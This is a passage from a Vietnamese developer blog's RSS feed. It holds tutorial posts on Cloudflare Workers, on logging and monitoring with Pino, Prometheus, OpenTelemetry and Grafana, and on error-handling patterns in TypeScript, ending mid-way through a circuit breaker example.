&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://doc.rust-lang.org/book/&quot;&gt;The Rust Programming Language&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.rs/cucumber/latest/cucumber/&quot;&gt;Cucumber Rust Crate&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.rs/axum/latest/axum/&quot;&gt;Axum Web Framework&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cucumber.io/docs/gherkin/reference/&quot;&gt;Cucumber — Gherkin Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://doc.rust-lang.org/cargo/commands/cargo-test.html&quot;&gt;Cargo Test Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Cloudflare Workers — Serverless Ở Biên Toàn Cầu</title><link>https://dopana-blog.pages.dev/blog/cloudflare-workers</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/cloudflare-workers</guid><description>Xây dựng ứng dụng serverless với Cloudflare Workers: kiến trúc, routing, storage, deploy và best practices.</description><pubDate>Tue, 28 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Cloudflare Workers chạy code ở 330+ datacenter trên toàn cầu — gần user nhất, không cold start, giá rẻ.&lt;/p&gt;
&lt;h2&gt;Workers vs Lambda&lt;/h2&gt;
&lt;p&gt;| | Cloudflare Workers | AWS Lambda |
|---|---|---|
| Runtime | V8 Isolates | Container |
| Cold start | ~0ms (luôn warm) | ~100-500ms |
| Regions | 330+ | Tự chọn region |
| Price | $0.30/million req | $0.20/million req + duration |
| Duration | 30s CPU, 5min (fetch) | 15 phút |
| Memory | 128MB (free) | 128MB-10GB |&lt;/p&gt;
&lt;h2&gt;Hello World&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;export default {
  async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise&amp;#x3C;Response&gt; {
    return new Response(&apos;Hello from the edge!&apos;, {
      headers: {
        &apos;Content-Type&apos;: &apos;text/plain&apos;,
        &apos;x-edge-location&apos;: request.cf?.colo || &apos;unknown&apos;,
      },
    });
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Routing&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { Router } from &apos;itty-router&apos;;

const router = Router();

router.get(&apos;/api/users&apos;, async (request) =&gt; {
  const users = await getUsers();
  return Response.json(users);
});

router.get(&apos;/api/users/:id&apos;, async (request) =&gt; {
  const { id } = request.params;
  const user = await getUser(id);
  if (!user) {
    return new Response(&apos;Not found&apos;, { status: 404 });
  }
  return Response.json(user);
});

router.post(&apos;/api/users&apos;, async (request) =&gt; {
  const body = await request.json();
  const user = await createUser(body);
  return Response.json(user, { status: 201 });
});

router.all(&apos;*&apos;, () =&gt; new Response(&apos;Not found&apos;, { status: 404 }));

export default {
  fetch: router.handle,
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Storage — KV, R2, D1&lt;/h2&gt;
&lt;h3&gt;KV — Key-Value Store&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// wrangler.jsonc
{
  &quot;kv_namespaces&quot;: [
    { &quot;binding&quot;: &quot;CACHE&quot;, &quot;id&quot;: &quot;abc123&quot; }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Read
const cached = await env.CACHE.get(&apos;user:123&apos;, &apos;json&apos;);
if (cached) return Response.json(cached);

// Write
const user = await fetchUser(123);
await env.CACHE.put(&apos;user:123&apos;, JSON.stringify(user), {
  expirationTtl: 3600, // 1 giờ
});

// List
const list = await env.CACHE.list({ prefix: &apos;user:&apos;, limit: 100 });
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;R2 — Object Storage (S3-compatible)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const object = await env.BUCKET.get(&apos;images/avatar.jpg&apos;);
if (!object) return new Response(&apos;Not found&apos;, { status: 404 });

return new Response(object.body, {
  headers: {
    &apos;Content-Type&apos;: object.httpMetadata?.contentType || &apos;image/jpeg&apos;,
    &apos;Cache-Control&apos;: &apos;public, max-age=31536000&apos;,
  },
});

// Upload
await env.BUCKET.put(&apos;uploads/file.pdf&apos;, request.body, {
  httpMetadata: { contentType: &apos;application/pdf&apos; },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;D1 — SQLite Database&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Schema
const db = env.DB;
await db.exec(`
  CREATE TABLE IF NOT EXISTS users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    name TEXT NOT NULL,
    email TEXT UNIQUE NOT NULL
  )
`);

// Query
const users = await db.prepare(&apos;SELECT * FROM users WHERE id = ?&apos;).bind(1).all();
const user = users.results[0];

// Prepared statement
const stmt = db.prepare(&apos;INSERT INTO users (name, email) VALUES (?1, ?2)&apos;);
await stmt.bind(&apos;Alice&apos;, &apos;alice@example.com&apos;).run();
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Env — Environment Variables&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// wrangler.jsonc
{
  &quot;vars&quot;: {
    &quot;API_URL&quot;: &quot;https://api.example.com&quot;,
    &quot;LOG_LEVEL&quot;: &quot;info&quot;
  }
}

// TypeScript
interface Env {
  API_URL: string;
  LOG_LEVEL: string;
  CACHE: KVNamespace;
  DB: D1Database;
  BUCKET: R2Bucket;
  AI: Ai;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cron Triggers&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;export default {
  async scheduled(event: ScheduledEvent, env: Env, ctx: ExecutionContext) {
    switch (event.cron) {
      case &apos;*/5 * * * *&apos;:
        await syncData(env);
        break;
      case &apos;0 0 * * *&apos;:
        await cleanupOldRecords(env);
        break;
    }
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;triggers&quot;: {
    &quot;crons&quot;: [&quot;*/5 * * * *&quot;, &quot;0 0 * * *&quot;]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Workers AI&lt;/h2&gt;
&lt;p&gt;Built-in AI inference at the edge:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;async function translateText(text: string, env: Env) {
  const response = await env.AI.run(&apos;@cf/meta/m2m100-1.2b&apos;, {
    text,
    source_lang: &apos;vietnamese&apos;,
    target_lang: &apos;english&apos;,
  });
  return response;
}

async function generateImage(prompt: string, env: Env) {
  const response = await env.AI.run(&apos;@cf/stabilityai/stable-diffusion-xl-base-1.0&apos;, {
    prompt,
  });
  return new Response(response.image, {
    headers: { &apos;Content-Type&apos;: &apos;image/png&apos; },
  });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrangler — CLI&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Init
npm create cloudflare@latest my-worker -- --type=hello-world

# Dev
npx wrangler dev

# Deploy
npx wrangler deploy

# Production
npx wrangler deploy --env production

# Logs
npx wrangler tail

# Secrets
npx wrangler secret put API_KEY
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;WebSocket&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;export default {
  async fetch(request: Request, env: Env): Promise&amp;#x3C;Response&gt; {
    const upgradeHeader = request.headers.get(&apos;Upgrade&apos;);
    if (upgradeHeader !== &apos;websocket&apos;) {
      return new Response(&apos;Expected websocket&apos;, { status: 426 });
    }

    const [client, server] = Object.values(new WebSocketPair());
    server.accept();

    server.addEventListener(&apos;message&apos;, (event) =&gt; {
      server.send(`Echo: ${event.data}`);
    });

    server.addEventListener(&apos;close&apos;, () =&gt; {
      console.log(&apos;WebSocket closed&apos;);
    });

    return new Response(null, { status: 101, webSocket: client });
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Deploy từ GitHub&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# .github/workflows/deploy.yml
name: Deploy Worker

on:
  push:
    branches: [main]

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Deploy to Cloudflare
        uses: cloudflare/wrangler-action@v3
        with:
          apiToken: ${{ secrets.CF_API_TOKEN }}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Middleware Pattern&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// auth.ts
export async function withAuth(request: Request, env: Env) {
  const token = request.headers.get(&apos;Authorization&apos;)?.split(&apos;Bearer &apos;)[1];
  if (!token) {
    return new Response(&apos;Unauthorized&apos;, { status: 401 });
  }
  // Verify token
  const user = await verifyToken(token, env.JWT_SECRET);
  if (!user) {
    return new Response(&apos;Invalid token&apos;, { status: 401 });
  }
  request.user = user;
}

// cors.ts
export function withCors(response: Response) {
  response.headers.set(&apos;Access-Control-Allow-Origin&apos;, &apos;*&apos;);
  response.headers.set(&apos;Access-Control-Allow-Methods&apos;, &apos;GET, POST, PUT, DELETE&apos;);
  response.headers.set(&apos;Access-Control-Allow-Headers&apos;, &apos;Content-Type, Authorization&apos;);
  return response;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Best Practices&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// 1. Cache everything có thể
const cacheKey = `api:${request.url}`;
const cached = await env.CACHE.get(cacheKey);
if (cached) return new Response(cached);

// 2. Response early, process late (ctx.waitUntil)
ctx.waitUntil(logAnalytics(request));

// 3. Streaming response
const stream = new ReadableStream({
  async start(controller) {
    controller.enqueue(new TextEncoder().encode(&apos;Hello &apos;));
    await delay(100);
    controller.enqueue(new TextEncoder().encode(&apos;World&apos;));
    controller.close();
  },
});
return new Response(stream);

// 4. Error handling
try {
  return await handleRequest(request, env);
} catch (err) {
  console.error(&apos;Handler failed:&apos;, err);
  return new Response(&apos;Internal error&apos;, { status: 500 });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Cloudflare Workers là nền tảng serverless edge tốt nhất hiện tại: không cold start, 330+ locations, giá rẻ. Kết hợp KV (cache), R2 (file), D1 (SQLite), AI (inference) — bạn có thể xây dựng toàn bộ ứng dụng mà không cần server truyền thống.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/workers/&quot;&gt;Cloudflare Workers Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/workers/wrangler/&quot;&gt;Wrangler CLI Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/kv/&quot;&gt;Workers KV&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/r2/&quot;&gt;R2 Object Storage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/d1/&quot;&gt;D1 SQL Database&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/workers-ai/&quot;&gt;Workers AI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/workers/configuration/cron-triggers/&quot;&gt;Workers Cron Triggers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/workers/examples/websockets/&quot;&gt;Workers WebSockets&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Logging &amp; Monitoring — ELK, Grafana, OpenTelemetry</title><link>https://dopana-blog.pages.dev/blog/logging-monitoring</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/logging-monitoring</guid><description>Xây dựng observability cho hệ thống: structured logging, metric collection, tracing, và dashboard với Grafana.</description><pubDate>Mon, 27 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Observability là khả năng hiểu hệ thống từ output của nó — logs, metrics, traces. Không có observability, bạn đang bay mù.&lt;/p&gt;
&lt;h2&gt;Three Pillars of Observability&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;LOGS:    &quot;User 123 just paid $50&quot;
METRICS: &quot;Error rate: 0.1%, P95 latency: 250ms&quot;
TRACES:  &quot;Request abc took 500ms: auth(50ms) → api(200ms) → db(250ms)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Structured Logging&lt;/h2&gt;
&lt;h3&gt;JSON Format — Machine Readable&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ
console.log(`User ${userId} logged in from ${ip}`);

// ✅ Tốt — structured JSON
logger.info({
  event: &apos;user.login&apos;,
  userId: 123,
  ip: &apos;192.168.1.1&apos;,
  timestamp: new Date().toISOString(),
  duration: 150,
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Pino — Fastest Logger for Node.js&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import pino from &apos;pino&apos;;

const logger = pino({
  level: process.env.LOG_LEVEL || &apos;info&apos;,
  transport: process.env.NODE_ENV === &apos;development&apos;
    ? { target: &apos;pino-pretty&apos; } // Đẹp cho dev
    : undefined,
  redact: {
    paths: [&apos;req.headers.authorization&apos;, &apos;req.body.password&apos;, &apos;db.query&apos;],
    censor: &apos;[REDACTED]&apos;,
  },
  serializers: {
    req: pino.stdSerializers.req,
    err: pino.stdSerializers.err,
  },
});

// Express middleware
app.use(pinoHttp({ logger }));

// Usage
app.get(&apos;/api/users/:id&apos;, async (req, res) =&gt; {
  logger.info({ userId: req.params.id }, &apos;Fetching user&apos;);
  try {
    const user = await db.user.findUnique({ where: { id: req.params.id } });
    logger.info({ userId: req.params.id, found: !!user }, &apos;User fetched&apos;);
    res.json(user);
  } catch (err) {
    logger.error({ err, userId: req.params.id }, &apos;Failed to fetch user&apos;);
    res.status(500).json({ error: &apos;Internal error&apos; });
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Log Levels&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;logger.fatal(&apos;System crashed — cannot recover&apos;);  // 60
logger.error(&apos;Payment failed&apos;);                     // 50
logger.warn(&apos;Rate limit approaching&apos;);              // 40
logger.info(&apos;User registered&apos;);                     // 30
logger.debug(&apos;Query: SELECT * FROM users&apos;);         // 20
logger.trace(&apos;Entering function x&apos;);                // 10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Production nên set level &lt;code&gt;info&lt;/code&gt; hoặc &lt;code&gt;warn&lt;/code&gt;. &lt;code&gt;debug&lt;/code&gt; và &lt;code&gt;trace&lt;/code&gt; chỉ cho development.&lt;/p&gt;
&lt;h2&gt;Metrics — Đo Lường&lt;/h2&gt;
&lt;h3&gt;Prometheus + OpenMetrics&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import prometheus from &apos;prom-client&apos;;

// Collect metrics
const register = new prometheus.Registry();
prometheus.collectDefaultMetrics({ register });

// Custom metrics
const httpRequestDuration = new prometheus.Histogram({
  name: &apos;http_request_duration_seconds&apos;,
  help: &apos;HTTP request duration in seconds&apos;,
  labelNames: [&apos;method&apos;, &apos;route&apos;, &apos;status&apos;],
  buckets: [0.01, 0.05, 0.1, 0.5, 1, 2, 5],
  registers: [register],
});

const activeUsers = new prometheus.Gauge({
  name: &apos;active_users&apos;,
  help: &apos;Number of active users&apos;,
  registers: [register],
});

// Express middleware
app.use((req, res, next) =&gt; {
  const end = httpRequestDuration.startTimer();
  res.on(&apos;finish&apos;, () =&gt; {
    end({ method: req.method, route: req.route?.path || &apos;unknown&apos;, status: res.statusCode });
  });
  next();
});

// Metrics endpoint
app.get(&apos;/metrics&apos;, async (req, res) =&gt; {
  res.set(&apos;Content-Type&apos;, register.contentType);
  res.end(await register.metrics());
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;RED Metrics (Microservices)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const requestRate = new prometheus.Counter({
  name: &apos;requests_total&apos;,
  help: &apos;Total requests&apos;,
  labelNames: [&apos;service&apos;, &apos;method&apos;],
});

const errorRate = new prometheus.Counter({
  name: &apos;errors_total&apos;,
  help: &apos;Total errors&apos;,
  labelNames: [&apos;service&apos;, &apos;error_type&apos;],
});

const latency = new prometheus.Histogram({
  name: &apos;request_duration_seconds&apos;,
  help: &apos;Request latency&apos;,
  labelNames: [&apos;service&apos;],
  buckets: [0.01, 0.05, 0.1, 0.5, 1],
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Distributed Tracing&lt;/h2&gt;
&lt;p&gt;Theo dõi một request xuyên qua nhiều service:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { trace, context } from &apos;@opentelemetry/api&apos;;
import { NodeTracerProvider } from &apos;@opentelemetry/sdk-trace-node&apos;;
import { OTLPTraceExporter } from &apos;@opentelemetry/exporter-trace-otlp-http&apos;;
import { BatchSpanProcessor } from &apos;@opentelemetry/sdk-trace-base&apos;;

// Setup
const provider = new NodeTracerProvider();
provider.addSpanProcessor(new BatchSpanProcessor(new OTLPTraceExporter()));
provider.register();

// Manual tracing
const tracer = trace.getTracer(&apos;order-service&apos;);

async function createOrder(userId: number, items: Item[]) {
  const span = tracer.startSpan(&apos;createOrder&apos;, {
    attributes: { userId, itemCount: items.length },
  });

  return await context.with(trace.setSpan(context.active(), span), async () =&gt; {
    try {
      const user = await getUser(userId); // span con tự động
      const total = await calculatePrice(items);
      const order = await saveOrder(user, items, total);
      span.setStatus({ code: SpanStatusCode.OK });
      return order;
    } catch (err) {
      span.recordException(err);
      span.setStatus({ code: SpanStatusCode.ERROR });
      throw err;
    } finally {
      span.end();
    }
  });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Auto-instrumentation (không cần sửa code)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;node --require @opentelemetry/auto-instrumentations-node/register app.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tự động trace HTTP, gRPC, DB queries, Redis, etc.&lt;/p&gt;
&lt;h2&gt;ELK Stack — Centralized Logging&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;App → Filebeat/Logstash → Elasticsearch → Kibana
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Docker Compose&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;services:
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:8.15.0
    environment:
      - discovery.type=single-node

  kibana:
    image: docker.elastic.co/kibana/kibana:8.15.0
    ports:
      - &quot;5601:5601&quot;
    depends_on:
      - elasticsearch

  logstash:
    image: docker.elastic.co/logstash/logstash:8.15.0
    volumes:
      - ./logstash.conf:/usr/share/logstash/pipeline/logstash.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Grafana Stack&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;App → Prometheus (metrics) → Grafana (dashboard)
App → Loki (logs) → Grafana
App → Tempo (traces) → Grafana
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Docker Compose&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;services:
  prometheus:
    image: prom/prometheus
    volumes:
      - ./prometheus.yml:/etc/prometheus/prometheus.yml
    ports:
      - &quot;9090:9090&quot;

  grafana:
    image: grafana/grafana
    ports:
      - &quot;3000:3000&quot;
    environment:
      - GF_AUTH_ANONYMOUS_ENABLED=true

  loki:
    image: grafana/loki
    ports:
      - &quot;3100:3100&quot;

  tempo:
    image: grafana/tempo
    ports:
      - &quot;3200:3200&quot;
      - &quot;4317:4317&quot;  # OTLP gRPC
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Dashboard Mẫu (Grafana)&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;panels&quot;: [
    {
      &quot;title&quot;: &quot;Request Rate&quot;,
      &quot;type&quot;: &quot;graph&quot;,
      &quot;targets&quot;: [{
        &quot;expr&quot;: &quot;rate(http_requests_total[5m])&quot;,
        &quot;legendFormat&quot;: &quot;{{route}}&quot;
      }]
    },
    {
      &quot;title&quot;: &quot;P95 Latency&quot;,
      &quot;type&quot;: &quot;heatmap&quot;,
      &quot;targets&quot;: [{
        &quot;expr&quot;: &quot;histogram_quantile(0.95, rate(http_request_duration_seconds_bucket[5m]))&quot;
      }]
    },
    {
      &quot;title&quot;: &quot;Error Rate&quot;,
      &quot;type&quot;: &quot;stat&quot;,
      &quot;targets&quot;: [{
        &quot;expr&quot;: &quot;sum(rate(errors_total[5m])) / sum(rate(requests_total[5m])) * 100&quot;
      }]
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Alerting&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# prometheus-alerts.yml
groups:
  - name: api-alerts
    rules:
      - alert: HighErrorRate
        expr: rate(errors_total[5m]) &gt; 0.01
        for: 5m
        labels:
          severity: critical
        annotations:
          summary: &quot;Error rate &gt; 1% for 5 minutes&quot;

      - alert: HighLatency
        expr: histogram_quantile(0.95, rate(http_request_duration_seconds_bucket[5m])) &gt; 2
        for: 5m
        labels:
          severity: warning
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Sức Khỏe Hệ Thống — Health Check&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;app.get(&apos;/health&apos;, async (req, res) =&gt; {
  const checks = {
    database: { status: &apos;healthy&apos; },
    redis: { status: &apos;healthy&apos; },
    externalAPI: { status: &apos;healthy&apos; },
  };

  try {
    await db.$queryRaw`SELECT 1`;
  } catch {
    checks.database = { status: &apos;unhealthy&apos;, error: &apos;Cannot connect&apos; };
  }

  const allHealthy = Object.values(checks).every(c =&gt; c.status === &apos;healthy&apos;);
  res.status(allHealthy ? 200 : 503).json({
    status: allHealthy ? &apos;healthy&apos; : &apos;degraded&apos;,
    checks,
    uptime: process.uptime(),
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Observability không phải &quot;cài tool là xong&quot;. Nó là văn hóa:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Logs — structured JSON, đủ context để debug&lt;/li&gt;
&lt;li&gt;Metrics — RED (Rate, Errors, Duration) cho API&lt;/li&gt;
&lt;li&gt;Traces — theo dõi request xuyên service&lt;/li&gt;
&lt;li&gt;Dashboard — visualize để phát hiện bất thường&lt;/li&gt;
&lt;li&gt;Alert — thông báo khi có vấn đề&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bắt đầu với: JSON logs → Prometheus metrics → Grafana dashboard. Thêm tracing và alert khi scale.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://opentelemetry.io/docs/&quot;&gt;OpenTelemetry Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://prometheus.io/docs/introduction/overview/&quot;&gt;Prometheus Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://grafana.com/docs/&quot;&gt;Grafana Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.elastic.co/guide/index.html&quot;&gt;ELK Stack Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://getpino.io/#/&quot;&gt;Pino Logger Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openmetrics.io&quot;&gt;OpenMetrics Specification&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Error Handling — Pattern Cho Ứng Dụng Sản Phẩm</title><link>https://dopana-blog.pages.dev/blog/error-handling</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/error-handling</guid><description>Chiến lược error handling cho production: custom errors, Result type, recovery patterns và observability.</description><pubDate>Sun, 26 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Error handling quyết định reliability của ứng dụng. Code không xử lý lỗi đúng cách là code không sẵn sàng cho production.&lt;/p&gt;
&lt;h2&gt;Error Types&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// 1. Operational Error — lỗi có thể dự đoán
//    - Validation fails
//    - Network timeout
//    - Rate limit exceeded
//    → Nên handle graceful

// 2. Programmer Error — bug
//    - TypeError, ReferenceError
//    - Logic sai
//    → Nên crash hoặc restart

// 3. System Error — lỗi infrastructure
//    - DB connection lost
//    - Disk full
//    → Nên retry hoặc failover
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Custom Error Hierarchy&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Base AppError
export class AppError extends Error {
  constructor(
    public message: string,
    public statusCode: number = 500,
    public code?: string,
    public details?: unknown,
  ) {
    super(message);
    this.name = this.constructor.name;
  }
}

// Concrete errors
export class NotFoundError extends AppError {
  constructor(resource: string, id: string | number) {
    super(`${resource} with id ${id} not found`, 404, &apos;NOT_FOUND&apos;);
  }
}

export class ValidationError extends AppError {
  constructor(errors: Record&amp;#x3C;string, string[]&gt;) {
    super(&apos;Validation failed&apos;, 400, &apos;VALIDATION_ERROR&apos;, errors);
  }
}

export class UnauthorizedError extends AppError {
  constructor(message = &apos;Unauthorized&apos;) {
    super(message, 401, &apos;UNAUTHORIZED&apos;);
  }
}

export class ConflictError extends AppError {
  constructor(message: string) {
    super(message, 409, &apos;CONFLICT&apos;);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Result Pattern — Không Try/Catch Tràn Lan&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Discriminated union
type Result&amp;#x3C;T, E = AppError&gt; =
  | { success: true; data: T }
  | { success: false; error: E };

async function findUser(id: number): Promise&amp;#x3C;Result&amp;#x3C;User&gt;&gt; {
  try {
    const user = await db.user.findUnique({ where: { id } });
    if (!user) {
      return { success: false, error: new NotFoundError(&apos;User&apos;, id) };
    }
    return { success: true, data: user };
  } catch (err) {
    return { success: false, error: new AppError(&apos;Database error&apos;) };
  }
}

// Usage — pattern matching
const result = await findUser(1);
if (!result.success) {
  // TypeScript biết đây là error case
  console.error(result.error.message);
  return response(404, { error: result.error.message });
}
// TypeScript biết đây là success case
console.log(result.data.name);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Express Error Handler&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Controller wrapper
function asyncHandler(fn: Function) {
  return (req: Request, res: Response, next: NextFunction) =&gt; {
    Promise.resolve(fn(req, res, next)).catch(next);
  };
}

// Routes
app.get(&apos;/users/:id&apos;, asyncHandler(async (req, res) =&gt; {
  const user = await findUser(req.params.id);
  res.json(user);
}));

// Global error handler (4 params)
app.use((err: Error, req: Request, res: Response, next: NextFunction) =&gt; {
  // Log full error
  logger.error({ err, path: req.path, method: req.method });

  // Operational error
  if (err instanceof AppError) {
    return res.status(err.statusCode).json({
      error: {
        code: err.code,
        message: err.message,
        details: err.details,
      },
    });
  }

  // Programmer error — không leak detail
  return res.status(500).json({
    error: {
      code: &apos;INTERNAL_ERROR&apos;,
      message: &apos;Something went wrong&apos;,
    },
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Retry Pattern&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;async function withRetry&amp;#x3C;T&gt;(
  fn: () =&gt; Promise&amp;#x3C;T&gt;,
  options: {
    maxRetries?: number;
    baseDelay?: number;
    maxDelay?: number;
  } = {},
): Promise&amp;#x3C;T&gt; {
  const { maxRetries = 3, baseDelay = 1000, maxDelay = 10000 } = options;

  for (let attempt = 0; attempt &amp;#x3C;= maxRetries; attempt++) {
    try {
      return await fn();
    } catch (err) {
      if (attempt === maxRetries) throw err;

      // Không retry lỗi validation
      if (err instanceof ValidationError) throw err;

      const delay = Math.min(baseDelay * 2 ** attempt, maxDelay);
      const jitter = delay * (0.5 + Math.random() * 0.5);
      await sleep(jitter);
    }
  }
  throw new Error(&apos;Unreachable&apos;);
}

// Usage
const data = await withRetry(() =&gt; fetchExternalAPI(input), {
  maxRetries: 3,
  baseDelay: 500,
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Circuit Breaker&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;class CircuitBreaker {
  private failures = 0;
